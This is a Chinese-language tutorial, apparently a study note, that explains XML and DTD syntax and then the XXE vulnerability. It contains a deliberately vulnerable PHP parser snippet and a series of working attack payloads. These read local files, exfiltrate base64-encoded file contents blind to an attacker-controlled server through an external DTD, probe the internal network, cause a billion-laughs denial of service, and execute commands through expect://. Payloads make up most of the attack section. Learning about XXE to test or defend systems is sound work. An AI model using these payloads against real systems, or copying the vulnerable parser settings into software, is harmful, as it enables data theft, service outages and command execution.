赞
踩
XML基础:
可扩展标记语言,用于传输数据(允许作者自定义自己的标签,和文档结构)
构建模块:
元素,属性,实体
PCDATA:被解析的字符数据
CDATA:字符数据(不会被解析器解析)
语法规则:
1.所有xml 元素必须有关闭标签
2.xml 标签对大小写敏感
3.xml 必须正确嵌套
4.xml 属性必须加引号
5.实体引用
6.空格会被保留
XML元素:
指从开始标签到结束标签的部分
每个元素可以有对应的属性
XML DTD:
定义xml文档的合法构建模块,说明xml内容格式范围
内部DOCYYPE声明:
<!DOCTYPE 根元素 [元素声明]>
外部文档声明:
<!DOCTYPE 根元素 SYSTEM "文件名">
声明一个元素:
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
声明属性:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
一个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
XXE漏洞:
原理:实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或远程内容,当允许引用外部实体时,攻击者便构造恶意内容攻击
由于libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。
源码:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
读取文件:
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///c:flag.txt"> ]>
<creds>&xxe;</creds>
当读取的文件存在‘<’,’&'等字符会被xml解析报错
可以利用编码,构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=c:flag.txt"> ]>
<creds>&xxe;</creds>
或者可利用CDATA:
由于xml限制内部参数实体引用,可搭建服务器进行外部参数实体引用
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.238.132/1.dtd"> %dtd; ]>
<root>&all;</root>
1.dtd内容为:
<!ENTITY all "%start;%go;%end;">
XXE无回显:
由于外部实体参数能请求外部uri,可以利用http协议把数据作为参数进行传递。就实现了数据外带
payload:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://192.168.238.132/1.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:flag.txt">
%remote; %send; ]>
<message>1234</message>
1.dtd内容:
<!ENTITY % start
"<!ENTITY % send SYSTEM 'http://192.168.238.143/index.php?c=%file;'> "
>
%start;
内网探测:
payload:也可以进行端口探测
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.238.143/">]>
<xml>
<stuff>&xxe;</stuff>
</xml>
不存在则报错:
DOS攻击:
payload:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
可以在内存中小型xml文档扩展超过3GB
利用expect扩展 命令执行
payload:
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。